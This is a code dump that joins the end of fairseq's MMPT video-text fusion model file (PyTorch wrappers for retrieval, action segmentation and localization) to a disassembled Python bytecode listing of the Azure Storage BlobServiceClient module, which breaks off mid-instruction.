caps[:, :1], caps[:, 2:], ], dim=1, ) attention_mask = torch.cat([cmasks[:, :1], cmasks[:, 2:]], dim=1) token_type_ids = torch.zeros( (cmasks.size(0), cmasks.size(1) - 1), dtype=torch.long, device=cmasks.device ) outputs = self.text_encoder( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, output_hidden_states=True, ) text_outputs = outputs[0] if output_hidden_states: return text_outputs batch_size = caps.size(0) text_attention_mask = torch.cat( [ torch.zeros((batch_size, 1), dtype=torch.bool, device=cmasks.device), cmasks[:, 2:], ], dim=1, ) assert text_outputs.size(1) == text_attention_mask.size(1) text_attention_mask = text_attention_mask.type( text_outputs.dtype ) / text_attention_mask.sum(1, keepdim=True) pooled_text = torch.bmm( text_outputs.transpose(2, 1), text_attention_mask.unsqueeze(2) ).squeeze(-1) return pooled_text # text_outputs class MMFusionJoint(MMFusion): """fine-tuning wrapper for retrival task.""" def forward( self, caps, cmasks, vfeats, vmasks, attention_mask=None, video_label=None, text_label=None, **kwargs ): output_hidden_states = True attention_mask, token_type_ids = self._mm_on_the_fly( cmasks, vmasks, attention_mask ) separate_forward_split = ( None if self.is_train else vmasks.size(1) + 2 ) # [CLS] + [SEP] outputs = self.mm_encoder( input_ids=caps, input_video_embeds=vfeats, attention_mask=attention_mask, token_type_ids=token_type_ids, output_hidden_states=output_hidden_states, separate_forward_split=separate_forward_split, ) pooled_video, pooled_text = self._pooling_vt_layer(outputs[2], cmasks, vmasks) return {"pooled_video": pooled_video, "pooled_text": pooled_text} class MMFusionActionSegmentation(MMFusion): """Fine-tuning wrapper for action segmentation. TODO: rename this for VLM. """ def forward(self, caps, cmasks, vfeats, vmasks, attention_mask=None, **kwargs): caps = caps.view(-1, caps.size(-1)) cmasks = cmasks.view(-1, cmasks.size(-1)) vfeats = vfeats.view(-1, vfeats.size(2), vfeats.size(3)) vmasks = vmasks.view(-1, vmasks.size(-1)) attention_mask = ( attention_mask.view(-1, attention_mask.size(2), attention_mask.size(3)) if attention_mask is not None else None ) output_hidden_states = True attention_mask, token_type_ids = self._mm_on_the_fly( cmasks, vmasks, attention_mask ) logits = self.mm_encoder( input_ids=caps, input_video_embeds=vfeats, attention_mask=attention_mask, token_type_ids=token_type_ids, output_hidden_states=output_hidden_states, ) return {"logits": logits[0][:, 1 : vmasks.size(1) + 1]} class MMFusionActionLocalization(MMFusion): """fine-tuning model for retrival task.""" def __init__(self, config, **kwargs): super().__init__(config) tokenizer = AutoTokenizer.from_pretrained(config.dataset.bert_name) self.cls_token_id = tokenizer.cls_token_id self.sep_token_id = tokenizer.sep_token_id self.pad_token_id = tokenizer.pad_token_id def forward(self, caps, cmasks, vfeats, vmasks, attention_mask=None, **kwargs): caps = caps.squeeze(0) cmasks = cmasks.squeeze(0) vfeats = vfeats.squeeze(0) vmasks = vmasks.squeeze(0) attention_mask = ( attention_mask.squeeze(0) if attention_mask is not None else None ) output_hidden_states = True dummy_vfeats = torch.zeros( (caps.size(0), 1, vfeats.size(-1)), device=vfeats.device, dtype=vfeats.dtype ) dummy_vmasks = torch.ones( (caps.size(0), 1), dtype=torch.bool, device=vfeats.device ) dummy_caps = ( torch.LongTensor( [ [ self.cls_token_id, self.sep_token_id, self.pad_token_id, self.sep_token_id, ] ], ) .to(caps.device) .repeat(vfeats.size(0), 1) ) dummy_cmasks = ( torch.BoolTensor([[0, 1, 0, 1]]) # pad are valid for attention. .to(caps.device) .repeat(vfeats.size(0), 1) ) attention_mask, token_type_ids = self._mm_on_the_fly(dummy_cmasks, vmasks, None) outputs = self.mm_encoder( input_ids=dummy_caps, input_video_embeds=vfeats, attention_mask=attention_mask, token_type_ids=token_type_ids, output_hidden_states=output_hidden_states, ) layer_idx = ( self.last_iso_layer if self.last_iso_layer > 0 else self.num_hidden_layers ) video_seq = ( outputs[2][layer_idx][:, 1 : vmasks.size(1) + 1] .masked_select(vmasks.unsqueeze(-1)) .view(-1, self.hidden_size) ) attention_mask, token_type_ids = self._mm_on_the_fly(cmasks, dummy_vmasks, None) outputs = self.mm_encoder( input_ids=caps, input_video_embeds=dummy_vfeats, attention_mask=attention_mask, token_type_ids=token_type_ids, output_hidden_states=output_hidden_states, ) _, pooled_text = self._pooling_vt_layer(outputs[2], cmasks, dummy_vmasks) logits = torch.mm(video_seq, pooled_text.transpose(1, 0)) return {"logits": logits} class MMFusionSeparateActionSegmentation(MMFusionSeparate): """Fine-tuning wrapper for action segmentation.""" def forward(self, caps, cmasks, vfeats, vmasks, attention_mask=None, **kwargs): caps = caps.view(-1, caps.size(-1)) cmasks = cmasks.view(-1, cmasks.size(-1)) vfeats = vfeats.view(-1, vfeats.size(2), vfeats.size(3)) vmasks = vmasks.view(-1, vmasks.size(-1)) logits = self.forward_video( vfeats, vmasks, caps, cmasks, output_hidden_states=True ) return {"logits": logits[:, 1 : vmasks.size(1) + 1]} class MMFusionSeparateActionLocalization(MMFusionSeparate): def __init__(self, config, **kwargs): super().__init__(config) tokenizer = AutoTokenizer.from_pretrained(config.dataset.bert_name) self.cls_token_id = tokenizer.cls_token_id self.sep_token_id = tokenizer.sep_token_id self.pad_token_id = tokenizer.pad_token_id def forward(self, caps, cmasks, vfeats, vmasks, **kwargs): caps = caps.squeeze(0) cmasks = cmasks.squeeze(0) vfeats = vfeats.squeeze(0) vmasks = vmasks.squeeze(0) dummy_caps = ( torch.LongTensor( [ [ self.cls_token_id, self.sep_token_id, self.pad_token_id, self.sep_token_id, ] ], ) .to(caps.device) .repeat(vfeats.size(0), 1) ) dummy_cmasks = ( torch.BoolTensor([[0, 1, 0, 1]]) # pad are valid for attention. .to(caps.device) .repeat(vfeats.size(0), 1) ) outputs = self.forward_video( vfeats, vmasks, dummy_caps, dummy_cmasks, output_hidden_states=True ) video_seq = ( outputs[:, 1 : vmasks.size(1) + 1] .masked_select(vmasks.unsqueeze(-1)) .view(-1, self.hidden_size) ) pooled_text = self.forward_text(caps, cmasks, output_hidden_states=False) logits = torch.mm(video_seq, pooled_text.transpose(1, 0)) return {"logits": logits} class MMFusionShareActionLocalization(MMFusionShare): def __init__(self, config, **kwargs): super().__init__(config) tokenizer = AutoTokenizer.from_pretrained(config.dataset.bert_name) self.cls_token_id = tokenizer.cls_token_id self.sep_token_id = tokenizer.sep_token_id self.pad_token_id = tokenizer.pad_token_id def forward(self, caps, cmasks, vfeats, vmasks, **kwargs): caps = caps.squeeze(0) cmasks = cmasks.squeeze(0) vfeats = vfeats.squeeze(0) vmasks = vmasks.squeeze(0) dummy_caps = ( torch.LongTensor( [ [ self.cls_token_id, self.sep_token_id, self.pad_token_id, self.sep_token_id, ] ], ) .to(caps.device) .repeat(vfeats.size(0), 1) ) dummy_cmasks = ( torch.BoolTensor([[0, 1, 0, 1]]) # pad are valid for attention. .to(caps.device) .repeat(vfeats.size(0), 1) ) outputs = self.forward_video( vfeats, vmasks, dummy_caps, dummy_cmasks, output_hidden_states=True ) video_seq = ( outputs[:, 1 : vmasks.size(1) + 1] .masked_select(vmasks.unsqueeze(-1)) .view(-1, self.hidden_size) ) pooled_text = self.forward_text(caps, cmasks, output_hidden_states=False) logits = torch.mm(video_seq, pooled_text.transpose(1, 0)) return {"logits": logits}
data/fairseq-0.12.2/fairseq/examples/MMPT/mmpt/models/mmfusion.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME functools STORE_NAME functools LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('Any', 'Dict', 'List', 'Optional', 'TypeVar', 'Union', 'TYPE_CHECKING') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM TypeVar STORE_NAME TypeVar IMPORT_FROM Union STORE_NAME Union IMPORT_FROM TYPE_CHECKING STORE_NAME TYPE_CHECKING POP_TOP LOAD_CONST 0 LOAD_CONST ('urlparse',) IMPORT_NAME urllib.parse IMPORT_FROM urlparse STORE_NAME urlparse POP_TOP LOAD_CONST 0 LOAD_CONST ('HttpResponseError',) IMPORT_NAME azure.core.exceptions IMPORT_FROM HttpResponseError STORE_NAME HttpResponseError POP_TOP LOAD_CONST 0 LOAD_CONST ('ItemPaged',) IMPORT_NAME azure.core.paging IMPORT_FROM ItemPaged STORE_NAME ItemPaged POP_TOP LOAD_CONST 0 LOAD_CONST ('Pipeline',) IMPORT_NAME azure.core.pipeline IMPORT_FROM Pipeline STORE_NAME Pipeline POP_TOP LOAD_CONST 0 LOAD_CONST ('distributed_trace',) IMPORT_NAME azure.core.tracing.decorator IMPORT_FROM distributed_trace STORE_NAME distributed_trace POP_TOP LOAD_CONST 1 LOAD_CONST ('StorageAccountHostsMixin', 'TransportWrapper', 'parse_connection_str', 'parse_query') IMPORT_NAME _shared.base_client IMPORT_FROM StorageAccountHostsMixin STORE_NAME StorageAccountHostsMixin IMPORT_FROM TransportWrapper STORE_NAME TransportWrapper IMPORT_FROM parse_connection_str STORE_NAME parse_connection_str IMPORT_FROM parse_query STORE_NAME parse_query POP_TOP LOAD_CONST 1 LOAD_CONST ('LocationMode',) IMPORT_NAME _shared.models IMPORT_FROM LocationMode STORE_NAME LocationMode POP_TOP LOAD_CONST 1 LOAD_CONST ('_to_utc_datetime',) IMPORT_NAME _shared.parser IMPORT_FROM _to_utc_datetime STORE_NAME _to_utc_datetime POP_TOP LOAD_CONST 1 LOAD_CONST ('return_response_headers', 'process_storage_error', 'parse_to_internal_user_delegation_key') IMPORT_NAME _shared.response_handlers IMPORT_FROM return_response_headers STORE_NAME return_response_headers IMPORT_FROM process_storage_error STORE_NAME process_storage_error IMPORT_FROM parse_to_internal_user_delegation_key STORE_NAME parse_to_internal_user_delegation_key POP_TOP LOAD_CONST 1 LOAD_CONST ('AzureBlobStorage',) IMPORT_NAME _generated IMPORT_FROM AzureBlobStorage STORE_NAME AzureBlobStorage POP_TOP LOAD_CONST 1 LOAD_CONST ('StorageServiceProperties', 'KeyInfo') IMPORT_NAME _generated.models IMPORT_FROM StorageServiceProperties STORE_NAME StorageServiceProperties IMPORT_FROM KeyInfo STORE_NAME KeyInfo POP_TOP LOAD_CONST 1 LOAD_CONST ('ContainerClient',) IMPORT_NAME _container_client IMPORT_FROM ContainerClient STORE_NAME ContainerClient POP_TOP LOAD_CONST 1 LOAD_CONST ('BlobClient',) IMPORT_NAME _blob_client IMPORT_FROM BlobClient STORE_NAME BlobClient POP_TOP LOAD_CONST 1 LOAD_CONST ('service_stats_deserialize', 'service_properties_deserialize') IMPORT_NAME _deserialize IMPORT_FROM service_stats_deserialize STORE_NAME service_stats_deserialize IMPORT_FROM service_properties_deserialize STORE_NAME service_properties_deserialize POP_TOP LOAD_CONST 1 LOAD_CONST ('StorageEncryptionMixin',) IMPORT_NAME _encryption IMPORT_FROM StorageEncryptionMixin STORE_NAME StorageEncryptionMixin POP_TOP LOAD_CONST 1 LOAD_CONST ('FilteredBlobPaged',) IMPORT_NAME _list_blobs_helper IMPORT_FROM FilteredBlobPaged STORE_NAME FilteredBlobPaged POP_TOP LOAD_CONST 1 LOAD_CONST ('ContainerPropertiesPaged',) IMPORT_NAME _models IMPORT_FROM ContainerPropertiesPaged STORE_NAME ContainerPropertiesPaged POP_TOP LOAD_CONST 1 LOAD_CONST ('get_api_version',) IMPORT_NAME _serialize IMPORT_FROM get_api_version STORE_NAME get_api_version POP_TOP LOAD_NAME TYPE_CHECKING EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('datetime',) IMPORT_NAME datetime IMPORT_FROM datetime STORE_NAME datetime POP_TOP LOAD_CONST 1 LOAD_CONST ('UserDelegationKey',) IMPORT_NAME _shared.models IMPORT_FROM UserDelegationKey STORE_NAME UserDelegationKey POP_TOP LOAD_CONST 1 LOAD_CONST ('BlobLeaseClient',) IMPORT_NAME _lease IMPORT_FROM BlobLeaseClient STORE_NAME BlobLeaseClient POP_TOP LOAD_CONST 1 LOAD_CONST ('ContainerProperties', 'BlobProperties', 'PublicAccess', 'BlobAnalyticsLogging', 'Metrics', 'CorsRule', 'RetentionPolicy', 'StaticWebsite', 'FilteredBlob') IMPORT_NAME _models IMPORT_FROM ContainerProperties STORE_NAME ContainerProperties IMPORT_FROM BlobProperties STORE_NAME BlobProperties IMPORT_FROM PublicAccess STORE_NAME PublicAccess IMPORT_FROM BlobAnalyticsLogging STORE_NAME BlobAnalyticsLogging IMPORT_FROM Metrics STORE_NAME Metrics IMPORT_FROM CorsRule STORE_NAME CorsRule IMPORT_FROM RetentionPolicy STORE_NAME RetentionPolicy IMPORT_FROM StaticWebsite STORE_NAME StaticWebsite IMPORT_FROM FilteredBlob STORE_NAME FilteredBlob POP_TOP LOAD_NAME TypeVar LOAD_CONST 'ClassType' CALL_FUNCTION STORE_NAME ClassType LOAD_BUILD_CLASS LOAD_CONST <code object BlobServiceClient at 0x7fab6407aed0, file "f.py", line 61> LOAD_CONST 'BlobServiceClient' MAKE_FUNCTION LOAD_CONST 'BlobServiceClient' LOAD_NAME StorageAccountHostsMixin LOAD_NAME StorageEncryptionMixin CALL_FUNCTION STORE_NAME BlobServiceClient LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BlobServiceClient' STORE_NAME __qualname__ LOAD_CONST 'A client to interact with the Blob Service at the account level.\n\n This client provides operations to retrieve and configure the account properties\n as well as list, create and delete containers within the account.\n For operations relating to a specific container or blob, clients for those entities\n can also be retrieved using the `get_client` functions.\n\n For more optional configuration, please click\n `here <https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/storage/azure-storage-blob\n\n :param str account_url:\n The URL to the blob storage account. Any other entities included\n in the URL path (e.g. container or blob) will be discarded. This URL can be optionally\n authenticated with a SAS token.\n :param credential:\n The credentials with which to authenticate. This is optional if the\n account URL already has a SAS token. The value can be a SAS token string,\n an instance of a AzureSasCredential or AzureNamedKeyCredential from azure.core.credentials,\n an account shared access key, or an instance of a TokenCredentials class from azure.identity.\n If the resource URI already contains a SAS token, this will be ignored in favor of an explicit credential\n - except in the case of AzureSasCredential, where the conflicting SAS tokens will raise a ValueError.\n If using an instance of AzureNamedKeyCredential, "name" should be the storage account name, and "key"\n should be the storage account key.\n :keyword str api_version:\n The Storage API version to use for requests. Default value is the most recent service version that is\n compatible with the current SDK. Setting to an older version may result in reduced feature compatibility.\n\n .. versionadded:: 12.2.0\n\n :keyword str secondary_hostname:\n The hostname of the secondary endpoint.\n :keyword int max_block_size: The maximum chunk size for uploading a block blob in chunks.\n Defaults to 4*1024*1024, or 4MB.\n :keyword int max_single_put_size: If the blob size is less than or equal max_single_put_size, then the blob will be\n uploaded with only one http PUT request. If the blob size is larger than max_single_put_size,\n the blob will be uploaded in chunks. Defaults to 64*1024*1024, or 64MB.\n :keyword int min_large_block_upload_threshold: The minimum chunk size required to use the memory efficient\n algorithm when uploading a block blob. Defaults to 4*1024*1024+1.\n :keyword bool use_byte_buffer: Use a byte buffer for block blob uploads. Defaults to False.\n :keyword int max_page_size: The maximum chunk size for uploading a page blob. Defaults to 4*1024*1024, or 4MB.\n :keyword int max_single_get_size: The maximum size for a blob to be downloaded in a single call,\n the exceeded part will be downloaded in chunks (could be parallel). Defaults to 32*1024*1024, or 32MB.\n :keyword int max_chunk_get_size: The maximum chunk size used for downloading a blob. Defaults to 4*1024*1024,\n or 4MB.\n\n .. admonition:: Example:\n\n .. literalinclude:: ../samples/blob_samples_authentication.py\n :start-after: [START create_blob_service_client]\n :end-before: [END create_blob_service_client]\n :language: python\n :dedent: 8\n :caption: Creating the BlobServiceClient with account url and credential.\n\n .. literalinclude:: ../samples/blob_samples_authentication.py\n :start-after: [START create_blob_service_client_oauth]\n :end-before: [END create_blob_service_client_oauth]\n :language: python\n :dedent: 8\n :caption: Creating the BlobServiceClient with Azure Identity credentials.\n ' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab8019b660, file "f.py", line 124> LOAD_CONST 'BlobServiceClient.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _format_url at 0x7fab8019b930, file "f.py", line 152> LOAD_CONST 'BlobServiceClient._format_url' MAKE_FUNCTION STORE_NAME _format_url LOAD_NAME classmethod LOAD_CONST (None,) LOAD_CONST <code object from_connection_string at 0x7fab8019b810, file "f.py", line 158> LOAD_CONST 'BlobServiceClient.from_connection_string' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_connection_string LOAD_NAME distributed_trace LOAD_CONST <code object get_user_delegation_key at 0x7fab8019b390, file "f.py", line 197> LOAD_CONST 'BlobServiceClient.get_user_delegation_key' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_user_delegation_key LOAD_NAME distributed_trace LOAD_CONST <code object get_account_information at 0x7fab8019b780, file "f.py", line 231> LOAD_CONST 'BlobServiceClient.get_account_information' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_account_information LOAD_NAME distributed_trace LOAD_CONST <code object get_service_stats at 0x7fab8019bc90, file "f.py", line 255> LOAD_CONST 'BlobServiceClient.get_service_stats' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_service_stats LOAD_NAME distributed_trace LOAD_CONST <code object get_service_properties at 0x7fab8019bb70, file "f.py", line 298> LOAD_CONST 'BlobServiceClient.get_service_properties' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_service_properties LOAD_NAME distributed_trace LOAD_CONST (None, None, None, None, None, None, None) LOAD_CONST <code object set_service_properties at 0x7fab8019b420, file "f.py", line 327> LOAD_CONST 'BlobServiceClient.set_service_properties' MAKE_FUNCTION CALL_FUNCTION STORE_NAME set_service_properties LOAD_NAME distributed_trace LOAD_CONST (None, False) LOAD_CONST <code object list_containers at 0x7fab82053d20, file "f.py", line 416> LOAD_CONST 'BlobServiceClient.list_containers' MAKE_FUNCTION CALL_FUNCTION STORE_NAME list_containers LOAD_NAME distributed_trace LOAD_CONST <code object find_blobs_by_tags at 0x7fab82053ed0, file "f.py", line 482> LOAD_CONST 'BlobServiceClient.find_blobs_by_tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME find_blobs_by_tags LOAD_NAME distributed_trace LOAD_CONST (None, None) LOAD_CONST <code object create_container at 0x7fab820531e0, file "f.py", line 515> LOAD_CONST 'BlobServiceClient.create_container' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_container LOAD_NAME distributed_trace LOAD_CONST (None,) LOAD_CONST <code object delete_container at 0x7fab82053db0, file "f.py", line 565> LOAD_CONST 'BlobServiceClient.delete_container' MAKE_FUNCTION CALL_FUNCTION STORE_NAME delete_container LOAD_NAME distributed_trace LOAD_CONST <code object _rename_container at 0x7fab82053f60, file "f.py", line 623> LOAD_CONST 'BlobServiceClient._rename_container' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _rename_container LOAD_NAME distributed_trace LOAD_CONST <code object undelete_container at 0x7fab820538a0, file "f.py", line 655> LOAD_CONST 'BlobServiceClient.undelete_container' MAKE_FUNCTION CALL_FUNCTION STORE_NAME undelete_container LOAD_CONST <code object get_container_client at 0x7fab82053420, file "f.py", line 690> LOAD_CONST 'BlobServiceClient.get_container_client' MAKE_FUNCTION STORE_NAME get_container_client LOAD_CONST (None,) LOAD_CONST <code object get_blob_client at 0x7fab6407ae40, file "f.py", line 736> LOAD_CONST 'BlobServiceClient.get_blob_client' MAKE_FUNCTION STORE_NAME get_blob_client LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE SETUP_EXCEPT to 28 LOAD_FAST account_url LOAD_METHOD lower CALL_METHOD LOAD_METHOD startswith LOAD_CONST 'http' CALL_METHOD POP_JUMP_IF_TRUE LOAD_CONST 'https://' LOAD_FAST account_url BINARY_ADD STORE_FAST account_url POP_BLOCK JUMP_FORWARD to 56 DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL ValueError LOAD_CONST 'Account URL must be a string.' CALL_FUNCTION RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 56 END_FINALLY LOAD_GLOBAL urlparse LOAD_FAST account_url LOAD_METHOD rstrip LOAD_CONST '/' CALL_METHOD CALL_FUNCTION STORE_FAST parsed_url LOAD_FAST parsed_url LOAD_ATTR netloc POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST 'Invalid URL: {}' LOAD_METHOD format LOAD_FAST account_url CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL parse_query LOAD_FAST parsed_url LOAD_ATTR query CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST _ STORE_FAST sas_token LOAD_FAST self LOAD_METHOD _format_query_string LOAD_FAST sas_token LOAD_FAST credential CALL_METHOD UNPACK_SEQUENCE LOAD_FAST self STORE_ATTR _query_str STORE_FAST credential LOAD_GLOBAL super LOAD_GLOBAL BlobServiceClient LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST parsed_url BUILD_TUPLE LOAD_CONST 'blob' LOAD_FAST credential LOAD_CONST ('service', 'credential') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_GLOBAL AzureBlobStorage LOAD_FAST self LOAD_ATTR url LOAD_FAST self LOAD_ATTR url LOAD_FAST self LOAD_ATTR _pipeline LOAD_CONST ('base_url', 'pipeline') CALL_FUNCTION LOAD_FAST self STORE_ATTR _client LOAD_GLOBAL get_api_version LOAD_FAST kwargs CALL_FUNCTION LOAD_FAST self LOAD_ATTR _client LOAD_ATTR _config STORE_ATTR version LOAD_FAST self LOAD_METHOD _configure_encryption LOAD_FAST kwargs CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '{}://{}/{}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR scheme LOAD_FAST hostname LOAD_FAST self LOAD_ATTR _query_str CALL_METHOD RETURN_VALUE LOAD_GLOBAL parse_connection_str LOAD_FAST conn_str LOAD_FAST credential LOAD_CONST 'blob' CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST account_url STORE_FAST secondary STORE_FAST credential LOAD_CONST 'secondary_hostname' LOAD_FAST kwargs COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST secondary LOAD_FAST kwargs LOAD_CONST 'secondary_hostname' STORE_SUBSCR LOAD_FAST cls LOAD_FAST account_url BUILD_TUPLE LOAD_CONST 'credential' LOAD_FAST credential BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL KeyInfo LOAD_GLOBAL _to_utc_datetime LOAD_FAST key_start_time CALL_FUNCTION LOAD_GLOBAL _to_utc_datetime LOAD_FAST key_expiry_time CALL_FUNCTION LOAD_CONST ('start', 'expiry') CALL_FUNCTION STORE_FAST key_info LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD STORE_FAST timeout SETUP_EXCEPT to 64 LOAD_FAST self LOAD_ATTR _client LOAD_ATTR service LOAD_ATTR get_user_delegation_key BUILD_TUPLE LOAD_FAST key_info LOAD_FAST timeout LOAD_CONST ('key_info', 'timeout') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST user_delegation_key POP_BLOCK JUMP_FORWARD to 106 DUP_TOP LOAD_GLOBAL HttpResponseError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST error POP_TOP SETUP_FINALLY to 92 LOAD_GLOBAL process_storage_error LOAD_FAST error CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST error DELETE_FAST error END_FINALLY POP_EXCEPT JUMP_FORWARD to 106 END_FINALLY LOAD_GLOBAL parse_to_internal_user_delegation_key LOAD_FAST user_delegation_key CALL_FUNCTION RETURN_VALUE SETUP_EXCEPT to 26 LOAD_FAST self LOAD_ATTR _client LOAD_ATTR service LOAD_ATTR get_account_info BUILD_TUPLE LOAD_CONST 'cls' LOAD_GLOBAL return_response_headers BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION RETURN_VALUE DUP_TOP LOAD_GLOBAL HttpResponseError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST error POP_TOP SETUP_FINALLY to 54 LOAD_GLOBAL process_storage_error LOAD_FAST error CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST error DELETE_FAST error END_FINALLY POP_EXCEPT JUMP_FORWARD to 68 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD STORE_FAST timeout SETUP_EXCEPT to 50 LOAD_FAST self LOAD_ATTR _client LOAD_ATTR service LOAD_ATTR get_statistics BUILD_TUPLE LOAD_FAST timeout LOAD_GLOBAL LocationMode LOAD_ATTR SECONDARY LOAD_CONST ('timeout', 'use_location') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST stats LOAD_GLOBAL service_stats_deserialize LOAD_FAST stats CALL_FUNCTION RETURN_VALUE DUP_TOP LOAD_GLOBAL HttpResponseError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST error POP_TOP SETUP_FINALLY to 78 LOAD_GLOBAL process_storage_error LOAD_FAST error CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST error DELETE_FAST error END_FINALLY POP_EXCEPT JUMP_FORWARD to 92 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD STORE_FAST timeout SETUP_EXCEPT to 46 LOAD_FAST self LOAD_ATTR _client LOAD_ATTR service LOAD_ATTR get_properties BUILD_TUPLE LOAD_CONST 'timeout' LOAD_FAST timeout BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST service_props LOAD_GLOBAL service_properties_deserialize LOAD_FAST service_props CALL_FUNCTION RETURN_VALUE DUP_TOP LOAD_GLOBAL HttpResponseError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST error POP_TOP SETUP_FINALLY to 74 LOAD_GLOBAL process_storage_error LOAD_FAST error CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST error DELETE_FAST error END_FINALLY POP_EXCEPT JUMP_FORWARD to 88 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab8019b9c0, file "f.py", line 386> LOAD_CONST 'BlobServiceClient.set_service_properties.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST analytics_logging LOAD_FAST hour_metrics LOAD_FAST minute_metrics LOAD_FAST cors LOAD_FAST target_version LOAD_FAST delete_retention_policy LOAD_FAST static_website BUILD_LIST GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'set_service_properties should be called with at least one parameter' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL StorageServiceProperties LOAD_FAST analytics_logging LOAD_FAST hour_metrics LOAD_FAST minute_metrics LOAD_FAST cors LOAD_FAST target_version LOAD_FAST delete_retention_policy LOAD_FAST static_website LOAD_CONST ('logging', 'hour_metrics', 'minute_metrics', 'cors', 'default_service_version', 'delete_retention_policy', 'static_website') CALL_FUNCTION STORE_FAST props LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD STORE_FAST timeout SETUP_EXCEPT to 106 LOAD_FAST self LOAD_ATTR _client LOAD_ATTR service LOAD_ATTR set_properties LOAD_FAST props BUILD_TUPLE LOAD_CONST 'timeout' LOAD_FAST timeout BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 148 DUP_TOP LOAD_GLOBAL HttpResponseError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST error POP_TOP SETUP_FINALLY to 134 LOAD_GLOBAL process_storage_error LOAD_FAST error CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST error DELETE_FAST error END_FINALLY POP_EXCEPT JUMP_FORWARD to 148 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST parameter LOAD_FAST parameter LOAD_CONST None COMPARE_OP is YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST include_metadata POP_JUMP_IF_FALSE LOAD_CONST 'metadata' BUILD_LIST JUMP_FORWARD to 12 BUILD_LIST STORE_FAST include LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'include_deleted' LOAD_CONST None CALL_METHOD STORE_FAST include_deleted LOAD_FAST include_deleted POP_JUMP_IF_FALSE LOAD_FAST include LOAD_METHOD append LOAD_CONST 'deleted' CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'include_system' LOAD_CONST None CALL_METHOD STORE_FAST include_system LOAD_FAST include_system POP_JUMP_IF_FALSE LOAD_FAST include LOAD_METHOD append LOAD_CONST 'system' CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD STORE_FAST timeout LOAD_FAST 